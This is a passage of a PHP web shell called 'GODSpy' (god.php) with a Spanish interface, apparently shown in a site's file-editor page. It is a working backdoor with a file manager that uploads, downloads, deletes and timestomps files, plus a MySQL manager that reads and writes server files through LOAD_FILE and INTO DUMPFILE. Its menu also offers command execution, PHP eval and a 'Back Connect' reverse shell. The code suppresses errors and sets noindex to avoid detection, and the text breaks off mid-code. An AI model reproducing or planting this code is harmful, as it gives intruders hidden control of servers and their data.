관리-도구
편집 파일: god.php
��� <?PHP error_reporting(0); @set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time', 0); @ini_set('memory_limit', '256M'); define('F_ROOT', FixDS(($cwd = @getcwd()) ? $cwd : dirname(__FILE__))); define('S_ROOT', $_SERVER['DOCUMENT_ROOT'] ? FixDS($_SERVER['DOCUMENT_ROOT']) : F_ROOT); define('IS_WIN',DIRECTORY_SEPARATOR=='\\'); define('IS_COM',IS_WIN&&(class_exists('COM')&&!preg_match('#\bcom\b#i',@ini_get('disable_clasess')))); define('SELF',url()); define('SVH',str_replace('www.','',$_SERVER['HTTP_HOST'])); define('MI',isF('mysqli_connect')); define('SQF','mysql'.(MI?'i':'').'_'); foreach(array('charset','ctr','dir','ok','haz','ir','vw','ex','em') as $v) $$v=''; foreach($_REQUEST as $k => $v) $$k = SR($v); $qf = array('a' => SQF.'connect','c' => SQF.'close','e' => SQF.'error','f' => SQF.'fetch_assoc','i' => SQF.'get_server_info', 'l' => SQF.'affected_rows','m' => SQF.'num_rows','n' => SQF.'num_fields','r' => SQF.'fetch_row','s' => SQF.'select_db'); //pasa(); $CHAR = $charset ? ($charset=='utf8'?'utf-8':'iso-8859-1') : 'iso-8859-1'; if($charset) header("content-Type: text/html; charset=".$CHAR); $cwd = ($dir&&@is_dir($dir)) ? FixDS($dir) : F_ROOT; ob_start(); if($haz=='phpinfo'){ if(isF('phpinfo')){ phpinfo(); die('<h1 style="text-align:center"><a href="'.SELF.'">Back to GodSpy</a></h1>'); } else $em='Funcion phpinfo() Deshabilitada'; } if($doing=='downfile'&&$thefile){ if(!@file_exists($thefile)){ $em = 'El archivo que intentas descargar no existe'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); die; } } if($doing=='downrar'){ if($dl){ $dfiles=''; foreach($dl as $filepath => $value) $dfiles.=$filepath.','; $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode(',',$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.SVH.'_'.basename($cwd).'.tar.gz'); echo $code; die; } else { $em = 'Please select file(s)'; } } if($doing=='backupmysql'){ if(!$table) $em='Error: Selecciona una tabla'; else { $lnk=db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); if($result = q("SHOW tables",$lnk)){ if($svf){ if($fp = @fopen($path,'w')){ while($currow = $qf['r']($result)){if(isset($table[$currow[0]])) sqldump($currow[0], $fp);} fclose($fp); $fileurl = str_replace(S_ROOT,'/',$path); $ok = 'El backup de la Base de Datos fue guardado en: <a href="'.$fileurl.'" target="_blank">'.$path.'</a>'; } else $em = 'Error: La ruta especificada no tiene permisos de escritura.'; } else { $filename = SVH.'_'.$dbname.'.sql'; header('Content-type: text/sql'); header('Content-Disposition: attachment; filename='.$filename); while($currow = $qf['r']($result)){if(isset($table[$currow[0]])) sqldump($currow[0]);} $qf['c']($lnk); die; } } else $em='Error: '.$qf['e']($lnk); if($lnk) $qf['c']($lnk); } } if($doing=='mysqldown'){ $down = 0; $lnk = db($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if(($res = q("SELECT load_file('$mysqldlfile');", $lnk))&&($row = @$qf['r']($res))){ if(empty($row[0])) $em .= 'Error al leer archivo con load_file: MySQL retorna NULL<br />'; else $down = 1; } else $em .= 'LOAD_FILE Error: '.$qf['e']($lnk).'<br />'.(!$dbname?'Intenta de nuevo espeificando una DB.<br />':''); if(!$down&&$dbname){ $tm = time(); q("DROP TABLE IF EXISTS tmp_god;",$lnk); q("CREATE TABLE tmp_god (content LONGBLOB NOT NULL);",$lnk); q("LOAD DATA LOCAL INFILE '$mysqldlfile' INTO TABLE tmp_god FIELDS TERMINATED BY '__god_{$tm}_eof__' ESCAPED BY '' LINES TERMINATED BY '__god_{$tm}_eof__';",$lnk); if(($res = q("SELECT content from tmp_god", $lnk))&&($row = @$qf['r']($res))) empty($row[0]) ? $em.='Error con tabla Temporal: MySQL retorna NULL<br />' : $down = 1; else $em .= 'Error usando tabla temporal: '.$qf['e']($lnk); q("DROP TABLE tmp_god",$lnk); } if($down){ $qf['c']($lnk); $file = pathinfo($mysqldlfile); header('Content-type: application/x-'.$file['extension']); header('Content-Disposition: attachment; filename='.$file['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; die; } else $qf['c']($lnk); } if(!$haz&&$ir&&$new){ if($ir=='newf'){ $opfile = $cwd.basename($new); if(file_exists($opfile)&&!is_dir($opfile)) $haz = 'editfile'; elseif(SV($opfile,'')){$haz = 'editfile';$ok="Archivo $opfile creado correctamente. Ahora puedes editarlo.";} else $em='Error: No fue posible crear el archivo.'; } if($ir=='newdir'){ $new = $cwd.$new; if(file_exists($new)) $em="Error: El directorio $new ya existe"; elseif(@mkdir($new,0777)){@chmod($new,0777);$ok="Directorio $new creado correctamente.";} else $em="No fue posible crear el directorio."; } if($ir=='newperm'){ if(!file_exists($cwf)) $em="Error: El archivo $cwf no existe."; else @chmod($cwf, octdec($new)) ? $ok="CHMOD $cwf: Permisos cambiados corecctamente a $new." : $em="CHMOD $new: Error, acceso denegado."; } if($ir=='copy'){ $new = (basename($new)==$new) ? $cwd.$new : $new; if(file_exists($new)||!file_exists($cwf)) $em='Error: El archivo de destino ya existe o el original no existe.'; else @copy($cwf, $new) ? $ok=basename($cwf).' fue copiado a '.$new : $em='Copiar '.basename($cwf).': Error, acceso denegado.'; } if($ir=='rename'){ $new = $cwd.$new; if(file_exists($new)||!file_exists($cwf)) $em='Error: '.$new.' ya existe o el archivo original no existe'; else @rename($cwf,$new) ? $ok='Archivo '.basename($cwf).' renombrado a '.basename($new).' correctamente' : $em='RENAME Error: Acceso denegado.'; } if($ir=='newtime'){ $time = 0; if(preg_match('#^[0-9]+-[0-9]+-[0-9]+ [0-9]+\:[0-9]+\:[0-9]+$#',$new)) $time = strtotime($new); else {$new=(basename($new)==$new)?$cwd.$new:$new;if(@file_exists($new)) $time = filemtime($new);} if($time&&file_exists($cwf)) @touch($cwf,$time) ? $ok="Fecha de creación cambiada correctamente." : $em='Error: Permiso denegado.'; else $em='Error: El formato de fecha especificado es incorrecto o el archivo de referencia no existe.'; } } if($haz=='sqlf'||$haz=='sqladmin'){ $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1'); !isset($dbhost)&&$dbhost = '127.0.0.1'; !isset($dbuser)&&$dbuser = 'root'; !isset($dbport)&&$dbport = '3306'; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $CHAR?>" /> <meta name="robots" content="noindex, nofollow, noarchive" /> <title><?php echo SVH;?> | GODSpy</title> <style type="text/css"> body{margin:0;} body,td,.input,.bt{font:12px Verdana,Arial;} td{line-height:16px;}.input{line-height:22px;} .input,.area{background:#FFF;border:1px solid #666;padding:3px;} .area,pre{font:13px Consolas,'Courier New',Monospace;overflow:auto;text-align:left;} .bt{border:#090 1px solid;background:#555;color:#FFF;height:22px;} a {color:#03F;}*:focus{outline:none;} a:hover{text-decoration:none;border-bottom:1px dashed #F09;} .w{color:green;font-weight:bold;}.r{color:red;} .alt1 td, .alt2 td, .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;padding:5px 10px 5px 5px;} .head td,.f{background:#e9e9e9;border-top:#BBB 1px solid;} .alt1{background:#f1f1f1;}.alt2{background:#f9f9f9;} .fm tr:hover{background:#CF9;} form, h2{margin:0;padding:0;} h2{line-height:26px;font-size:14px;color:#555;} .info li{color:#444;line-height:22px;} u{text-decoration:none;float:left;display:block;width:150px;margin-right:9px;} .e,.m,.f {padding:10px;text-align:center;font-weight:bold;} .e {background:#FFC;border:1px solid #F30;} .m {background:#CFA;border:1px solid #0C3;} .nw{white-space:nowrap;} </style> <script type="text/javascript"><!-- function $(id){return document.getElementById(id);} function gohaz(act){ $('gohaz').haz.value=act; $('gohaz').submit(); } function CHK(f){ for(var i=0;i<f.elements.length;i++){ var e=f.elements[i]; if(e.name != 'chk'&&e.name != 'svf') e.checked = f.chk.checked; } } <?php if($haz=='file'||!$haz){?> var okd = 'Realmente deseas eliminar este directorio?\n\nSi contiene archivos, tambien seran eliminados.',okf='Confirmas eliminar este archivo?'; function donew(act,f){ var re,q; if(act=='newdir') q='Nombre del directorio:'; else if(act=='newperm') q='Cambiar permisos de: '+f+'\nEscribe el nuevo atributo (ejemplo 0777):'; else if(act=='newtime') q='Escribe la nueva fecha en formato yyyy-mm-dd HH:MM:SS o un archivo de referencia:\nEjemplo: 2009-11-20 23:05:10 o /home/user/algo.txt'; else if(act=='rename') q='Renombrar: '+f+'\nEscribe el nuevo nombre:'; else if(act=='copy') q='Copiar archivo: '+f+'\nCopiar a (ruta completa para copiar a otro directorio):'; else if(act=='newf') q='Nombre de archivo:'; re = prompt(q,''); if(!re||!act) return; $('ir').value=act; $('new').value=re; if(f)$('cwf').value=f; $('donew').submit(); } function dofile(doing,thefile,m){ if(m&&!confirm(m)){return;} $('filelist').doing.value=doing; if(thefile){ $('filelist').thefile.value=thefile; } $('filelist').submit(); } function opfile(haz,opfile,dir){ $('fileopform').haz.value=haz; $('fileopform').opfile.value=opfile; $('fileopform').dir.value=dir; $('fileopform').submit(); } function godir(d,w){ if(w){ $('godir').vw.value=1; } $('godir').dir.value=d; $('godir').submit(); } <?php }if($haz=='sqlf'){?> function mysqlfile(d){ if(!d) return; $("mysqlfile").doing.value=d; $("mysqlfile").dbhost.value=$('dbhost').value; $("mysqlfile").dbport.value=$('dbport').value; $("mysqlfile").dbuser.value=$('dbuser').value; $("mysqlfile").dbpass.value=$('dbpass').value; $("mysqlfile").dbname.value=$('dbname').value; $("mysqlfile").submit(); } <?php }if($haz=='sqladmin'){?> function editrecord(haz, base64, tablename){ if(haz=='del'){if(!confirm('\xbfDeseas eliminar esta entrada?')) return;} $('recordlist').doing.value=haz; $('recordlist').base64.value=base64; $('recordlist').tablename.value=tablename; $('recordlist').submit(); } function moddbname(dbname){ if(!dbname) return; $('setdbname').dbname.value=dbname; $('setdbname').submit(); } function settable(t,d,p){ if(!t) return; if(d){ var c = d=='drop' ? 'eliminar' : (d=='del' ? 'vaciar' : false); if(c&&!confirm('\xbfRealmente quieres '+c+' esta Tabla?')) return; $('settable').doing.value=d; } if(p){ $('settable').page.value=p; } $('settable').tablename.value=t; $('settable').submit(); } <?php }?> //--></script> </head> <body> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr class="head"> <td><span style="float:right;"><b>GODSpy Ver: <?php echo date('Y');?></b></span><b>Tu IP:</b> <?php echo $_SERVER['REMOTE_ADDR'] . ' | <b>Server:</b> '.SVH.' ('.@gethostbyname($_SERVER['SERVER_NAME']).')'.(isF('php_uname')?' - '.@php_uname():'');?></td> </tr> <tr class="alt1"> <td><span style="float:right;">Safe Mode: <?php echo getcfg('safe_mode');?></span> <a href="javascript:gohaz('salir');">Salir</a> | <a href="<?php echo SELF;?>">File Manager</a> | <a href="javascript:gohaz('sqladmin');">MySQL Manager</a> | <a href="javascript:gohaz('sqlf');">MySQL Upload & Download</a> | <a href="javascript:gohaz('sh');">Ejecutar Comando</a> | <a href="javascript:gohaz('env');">PHP Variable</a> | <a href="javascript:gohaz('evl');">Eval PHP Code</a> <?php if(!IS_WIN){ ?>| <a href="javascript:gohaz('bconx');">Back Connect</a> <?php }?>| <a href="javascript:gohaz('se');">Search Engine</a> </td> </tr> </table> <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td> <?php formhead('gohaz'); noseve('haz');noseve('dir',$cwd); p("</form>"); $em&&m($em,'e');$ok&&m($ok); if(!$haz||$haz=='file'){ if($doing=='deldir'&&$thefile){ if(!file_exists($thefile)) m("El Directorio $thefile no existe.",'e'); else deltree($thefile) ? m('El Directorio '.basename($thefile).' fue eliminado.') : m('Eliminar Directorio '.basename($thefile).': ERROR','e'); } elseif($doing=='delf'&&$thefile){ if(!file_exists($thefile)) m("Error: $thefile no existe",'e'); else @unlink($thefile) ? m("El archivo $thefile fue eliminado.") : m("Eliminar $thefile: Acceso denegado.",'e'); } elseif($doup){ if(!$_FILES['up']['name']) m('Error: Ningún archivo por subir','e'); else { $up = $_FILES['up'];$ul = $cwd.$up['name']; if(@move_uploaded_file($up['tmp_name'],$ul)) m('Archivo subido correctamente a: '.$ul); else {@unlink($up['tmp_name']);m('No fue posible subir el archivo','e');} } } elseif($edit&&$fcontent){ if(!IS_WIN) $fcontent=str_replace("\r",'',$fcontent); SV($edit, $fcontent) ? m("Archivo guardado correctamente.") : m('Error: El archivo no tiene permisos de escritura.','e'); } elseif($doing=='delfiles'){ if($dl){ $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value){ if(@unlink($filepath)) $succ++; else $fail++; } m('Eliminar '.count($dl).' archivos: <span class="w">OK '.$succ.'</span> - <span class="r">ERROR '.$fail.'</span>','e'); } else { m('Error: Nada que eliminar.','e'); } } formhead('donew'); noseve('ir" id="ir'); noseve('new" id="new'); noseve('cwf" id="cwf'); noseve('dir',$cwd); p('</form>'); formhead('fileopform'); noseve('haz'); noseve('opfile'); noseve('dir'); p('</form>'); $free = isF('disk_free_space') ? @disk_free_space($cwd) : 0; !$free&&$free = 0; $all = isF('disk_total_space') ? @disk_total_space($cwd) : 0; !$all&&$all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p('<h2>File Manager - Espacio Libre: '.sizecount($free).' de '.sizecount($all).' ('.$used_percent.'%)</h2>'); ?> <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"> <form action="<?php echo SELF;?>" method="post" id="godir"> <tr> <td class="nw">Directorio Actual (<?php p('<span class="'.(@is_writable($cwd)?'w">Writable':'r">Non-writable').'</span>, '.getChmod($cwd).')');?></td> <td width="75%"><input class="input" name="dir" value="<?php echo $cwd;?>" type="text" style="width:96%;margin:0 8px;" /></td> <td><input name="vw" value="0" type="hidden" /><input class="bt" value="Ir »" type="submit" /></td> </tr> </form> </table> <?php tbhead(' class="fm"'); p('<tr class="head"><td colspan="7" style="padding:5px;">'); p('<div style="float:right;"><form action="'.SELF.'" method="post" enctype="multipart/form-data"><input name="up" value="" type="file" /> <input class="bt" value="Upload" type="submit" /><input name="doup" value="1" type="hidden" /><input name="dir" value="'.$cwd.'" type="hidden" /></form></div>'); p('<a href="javascript:godir(\''.S_ROOT.'\');">WebRoot</a>'); if($vw){ p(' | <a href="javascript:godir(\''.$cwd.'\');">View All</a>'); } else { p(' | <a href="javascript:godir(\''.$cwd.'\',\'1\');">View Writable</a>'); } p(' | <a href="javascript:donew(\'newdir\')">Crear Directorio</a> | <a href="javascript:donew(\'newf\')">Crear Archivo</a>'); if(IS_COM){ $obj = new COM('scripting.filesystemobject'); if($obj&&is_object($obj)){ $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); foreach($obj->Drives as $drive){ if($drive->DriveType==2){ p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); } else { p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); } } } } p('</td></tr>'); p('<tr class="head"><td> </td><td>Nombre</td><td width="16%">Last modified</td><td width="10%">Tamaño</td><td width="20%">Chmod / User</td><td width="22%">Acción</td></tr>'); $dirdata=array(); $filedata=array(); if($vw){ $dirdata = GetList($cwd); } else { $dirs=@opendir($cwd); while($file=@readdir($dirs)){ $filepath=$cwd.$file; if(@is_dir($filepath)){ $dirdb['filename']=htm($file); $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['flink']=htm($filepath); $dirdata[]=$dirdb; } else { $filedb['filename']=htm($file); $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath); $filedb['dirlink']=htm($cwd); $filedb['flink']=htm($filepath); $filedb['link']=htm(str_replace(S_ROOT,'/',$filepath)); $filedata[]=$filedb; } } unset($dirdb,$filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = '0'; foreach($dirdata as $key => $dirdb){ if($dirdb['filename']!='..'&&$dirdb['filename']!='.'){ $tbg = bg(); $dirjs = str_replace(''',"\'",$dirdb['flink']); p('<tr class="'.$tbg.'">'); p('<td width="2%" class="nw"></td>'); p('<td><a href="javascript:godir(\''.$dirjs.'\');">'.$dirdb['filename'].'</a></td>'); p('<td class="nw">'.$dirdb['mtime'].'</td>'); p('<td class="nw">--</td>'); p('<td class="nw"><a href="javascript:donew(\'newperm\',\''.$dirjs."')\">{$dirdb['dirchmod']} / {$dirdb['dirperm']}</a>{$dirdb['fileowner']}</td>"); p('<td class="nw"><a href="javascript:dofile(\'deldir\',\''.$dirjs."',okd)\">Del</a> | <a href=\"javascript:donew('rename','$dirjs');\">Rename</a></td>"); p('</tr>'); $dir_i++; } else { if($dirdb['filename']=='..'){ p('<tr class="'.bg().'">'); p('<td style="text-align:center;font:16px \'Wingdings 3\';">UP</td><td class="nw" colspan="5"><a href="javascript:godir(\''.dirname($cwd).'/\');">Ir al directorio Superior</a></td>'); p('</tr>'); } } } p('<tr><td style="background:#555;height:3px;" colspan="6"> </td></tr>'); p('<form id="filelist" name="filelist" action="'.SELF.'" method="post">'); noseve('haz','file'); noseve('thefile'); noseve('doing'); noseve('dir',$cwd); $file_i = '0'; foreach($filedata as $key => $filedb){ if($filedb['filename']!='..'&&$filedb['filename']!='.'){ $thisbg = bg(); $filjs = str_replace(''',"\'",$filedb['flink']); $dirjs = str_replace(''',"\'",$filedb['dirlink']); p('<tr class="'.$thisbg.'">'); p('<td width="2%" class="nw"><input type="checkbox" value="1" name="dl['.$filedb['flink'].']" /></td>'); p('<td><a href="'.$filedb['link'].'" target="_blank">'.$filedb['filename'].'</a></td>'); p('<td class="nw">'.$filedb['mtime'].'</td>'); p('<td class="nw">'.$filedb['size'].'</td>'); p('<td class="nw">'); p('<a href="javascript:donew(\'newperm\',\''.$filjs.'\');">'.$filedb['filechmod'].' / '.$filedb['fileperm'].'</a>'); p($filedb['fileowner'].'</td>'); p('<td class="nw">'); p('<a href="javascript:dofile(\'downfile\',\''.$filjs.'\');">Down</a> | '); p('<a href="javascript:donew(\'copy\',\''.$filjs.'\');">Copy</a> | '); p('<a href="javascript:opfile(\'editfile\',\''.$filjs.'\',\''.$dirjs.'\');">Edit</a> | '); p('<a href="javascript:dofile(\'delf\',\''.$filjs.'\', okf)" title="Delete">Del</a> | <a href="javascript:donew(\'rename\',\''.$filjs.'\')" title="Rename">Ren</a> | '); p('<a href="javascript:donew(\'newtime\',\''.$filjs.'\');">Time</a>'); p('</td></tr>'); $file_i++; } } p('<tr class="head"><td align="center"><input name="chk" value="on" type="checkbox" onclick="CHK(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Pack & download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>'); p('</form></table>'); } elseif($haz=='sqlf'){ if($doing=="mysqlupload"){ if(!$_FILES['up']['name']) m('Error: Ningún archivo por subir.','e'); else { $up = $_FILES['up']; if(@is_dir($savepath)) $savepath .= str_replace(' ','',$up['name']); if(@file_exists($savepath)) m('Error: El archivo de destino ya existe.','e'); else { $contents = bin2hex(GF($up['tmp_name'])); $lnk = db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $result = q("SELECT 0x{$contents} INTO DUMPFILE '$savepath';", $lnk); $result ? m('Archivo subido correctamente a: '.$savepath) : m('Error al subir el archivo: '.$qf['e']($lnk),'e'); $qf['c']($lnk); } @unlink($up['tmp_name']); } } formhead('dbinfo','MYSQL Information'); noseve('haz','sqlf'); p('<p>DBHost:'); mkinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); mkinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); mkinput(array('name'=>'dbuser','size'=>15,'value'=>htm($dbuser))); p('DBPass:'); mkinput(array('name'=>'dbpass','size'=>15,'value'=>htm($dbpass))); p('DBName:'); mkinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); p('DBCharset:'); mkselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); p("</p>\n</form>"); formhead('mysqlfile" enctype="multipart/form-data'); p("<h2>MySQL Upload y Download:</h2>\n<p><b>Se requiere que el Usuario MySQL tenga el privilegio FILE</b></p>"); p('<p>Guardar en (fullpath): <input class="input" name="savepath" value="'.F_ROOT.'" size="45" type="text" /> Selecciona un archivo: <input name="up" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Subir</a></p>'); p('<h2>Descargar Archivos:</h2>'); p('<p>Nombre de Archivo: <input class="input" name="mysqldlfile" size="115" type="text" value="'.$mysqldlfile.'" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>'); noseve('dbhost'); noseve('dbport'); noseve('dbuser'); noseve('dbpass'); noseve('dbname'); noseve('charset',$charset); noseve('doing'); noseve('haz','sqlf'); p('</form>'); } elseif($haz=='sqladmin'){ foreach(array('tablename','dbname','sql_query','page','insert','update','dbpass') as $v) if(!isset($$v)) $$v=''; $lnk = isset($dbhost,$dbuser,$dbpass,$connect) ? db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport) : 0; $dbform = '<input type="hidden" id="connect" name="connect" value="1" /><input type="hidden" id="dbhost" name="dbhost" value="'.$dbhost.'" />'. "\n<input type=\"hidden\" name=\"dbuser\" value=\"$dbuser\" />\n<input type=\"hidden\" name=\"dbport\" value=\"$dbport\" />\n"; if($dbpass) $dbform .= "<input type=\"hidden\" name=\"dbpass\" value=\"$dbpass\" />\n"; if($dbname) $dbform .= "<input type=\"hidden\" name=\"dbname\" value=\"$dbname\" />\n"; if($charset) $dbform .= "<input type=\"hidden\" name=\"charset\" value=\"$charset\" />\n"; if($insert&&$insertsql){ $keystr = $valstr = $tmp = ''; foreach($insertsql as $key => $val){ if($val){ $keystr .= $tmp.$key; $valstr .= $tmp."'".addslashes($val)."'"; $tmp = ','; } } if($keystr&&$valstr){ q("INSERT INTO $tablename ($keystr) VALUES ($valstr)",$lnk)?m('INSERT: Datos insertados correctamente'):m('Error: '.$qf['e']($lnk),'e'); } } if($update&&$insertsql&&$base64){ $valstr = $tmp = ''; foreach($insertsql as $key => $val){ $valstr .= $tmp.$key."='".addslashes($val)."'"; $tmp = ','; } if($valstr){ $where = $A[6]($base64); q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1",$lnk)?m('UPDATE: Datos Actualizados correctamente'):m('Error: '.$qf['e']($lnk),'e'); } } if($tablename&&in_array($doing,array('del','drop','optimize'))){ $where = $base64 ? ' WHERE '.$A[6]($base64) : ''; $sql = ($doing=='del'?"DELETE FROM":($doing=='drop'?"DROP":"OPTIMIZE")." TABLE"); if(q($sql." {$tablename}{$where}",$lnk)){m("$sql: Consulta ejecutada correctamente en la tabla $tablename");if(!$where)$tablename = '';} else m('Error: '.$qf['e']($lnk),'e'); } formhead('sql','MYSQL Manager'); noseve('haz','sqladmin'); p('<p>DBHost:');mkinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':');mkinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:');mkinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:');mkinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBCharset:'); mkselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); noseve('connect',1); p('<input type="submit" class="bt" value="Conectar" />'."</p>\n</form>"); if($lnk){ formhead('recordlist'); noseve('doing'); noseve('haz','sqladmin'); noseve('base64'); noseve('tablename'); p($dbform."</form>"); formhead('setdbname'); noseve('haz','sqladmin'); p($dbform); if(!$dbname) noseve('dbname'); p('</form>'); formhead('settable'); noseve('haz','sqladmin'); p($dbform); noseve('tablename'); noseve('page',$page); noseve('doing'); p('</form>'); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page){ $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } $QT = array(1=>'tinyint',2=>'smallint',3=>'int',4=>'float',5=>'double',7=>'timestamp',8=>'bigint',9=>'mediumint',10=>'date',11=>'time', 12=>'datetime',13=>'year',16=>'bit',252=>'text',253=>'varchar',254=>'char',246=>'decimal'); $mysqlver = $qf['i']($lnk); p('<form id="setdbname" method="post" action="'.SELF."\">\nMySQL $mysqlver running in $dbhost as {$dbuser}@{$dbhost} - "); $highver = ($mysqlver > '4.1')?1:0; $query = q("SHOW DATABASES",$lnk); $dbs = array(); $dbs[] = '-- Selecciona una Base de Datos --'; while($db = $qf['f']($query)){ $dbs[$db['Database']] = $db['Database']; } mkselect(array('title'=>'<b>Base de Datos:</b>','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)')); p('</form>'); $tabledb = array(); if($dbname){ p('<p>'); p('Base de Datos: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.' »</a>'); if($tablename){ p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insertar</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Estructura</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Eliminar</a> ]');} p('</p>'); MI ? $qf['s']($lnk,$dbname) : $qf['s']($dbname,$lnk); $getnumsql = '';$runquery = 0; if($sql_query){ $runquery = 1; } $allowedit = 0; if($tablename&&!$sql_query){ $sql_query = "SELECT * FROM $tablename"; $getnumsql = $sql_query; $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; $allowedit = 1; } p('<div style="margin:5px;"><form action="'.SELF.'" method="post">'); p('<p>Ejecutar consultas SQL en la DB <b>'.$dbname.'</b>:</p><p><textarea name="sql_query" class="area" style="width:750px;height:50px">'.htm($sql_query).'</textarea><input class="bt" style="margin:4px;vertical-align:top;height:50px" type="submit" value="Query" />'); noseve('tablename', $tablename); noseve('haz','sqladmin'); p($dbform); p('</p></form></div>'); if($tablename||($runquery&&$sql_query)){ if($doing=='structure'){ $result = q("SHOW COLUMNS FROM $tablename",$lnk); $rowdb = array(); while($row = $qf['f']($result)){ $rowdb[] = $row; } p('<table border="0" cellpadding="3" cellspacing="0">'); p('<tr class="head">'); p('<td>Field</td>'); p('<td>Type</td>'); p('<td>Null</td>'); p('<td>Key</td>'); p('<td>Default</td>'); p('<td>Extra</td>'); p('</tr>'); foreach ($rowdb as $row){ $thisbg = bg(); p('<tr class="'.$tbg.'">'); p('<td>'.$row['Field'].'</td>'); p('<td>'.$row['Type'].'</td>'); p('<td>'.$row['Null'].' </td>'); p('<td>'.$row['Key'].' </td>'); p('<td>'.$row['Default'].' </td>'); p('<td>'.$row['Extra'].' </td>'); p('</tr>'); } p('</table>'); } elseif($doing=='insert'||$doing=='edit'){ $result = q("SHOW COLUMNS FROM $tablename",$lnk); while($row = $qf['f']($result)){$rowdb[] = $row;} $rs = array(); if($doing=='insert'){ p('<h2>Insertar datos en la tabla '.$tablename.' »</h2>'); } else { p('<h2>Editar datos de la tabla '.$tablename.' »</h2>'); $where = $A[6]($base64); $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1", $lnk); $rs = $qf['f']($result); } p('<form method="post" action="'.SELF.'">'); p($dbform); noseve('haz','sqladmin'); noseve('tablename',$tablename); p('<table border="0" cellpadding="3" cellspacing="0">'); foreach($rowdb as $row){ if($rs[$row['Field']]){ $value = htm($rs[$row['Field']]); } else { $value = ''; } $tbg = bg(); p('<tr class="'.$tbg.'">'); p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>'); } if($doing=='insert'){ p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>'); } else { p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>'); noseve('base64', $base64); } p('</table></form>'); } else { $querys = preg_split("/;+(?=([^'|^\\\']*['|\\\'][^'|^\\\']*['|\\\'])*[^'|^\\\']*[^'|^\\\']$)/", $sql_query); foreach($querys as $num=>$query){ if($query){ p("<p><b>Query #{$num}</b>: ".htm($query)."</p>"); switch(qy($query,$lnk)){ case 0: m('Error: '.$qf['e']($lnk),'e'); break; case 1: if(strtolower(substr($query,0,13))=='select * from'){ $allowedit = 1; } if($getnumsql){ $tatol = $qf['m'](q($getnumsql,$lnk)); $multipage = multi($tatol, $pagenum, $page, $tablename); } if(!$tablename){ $sql_line = htm(trim(str_replace(array("\r", 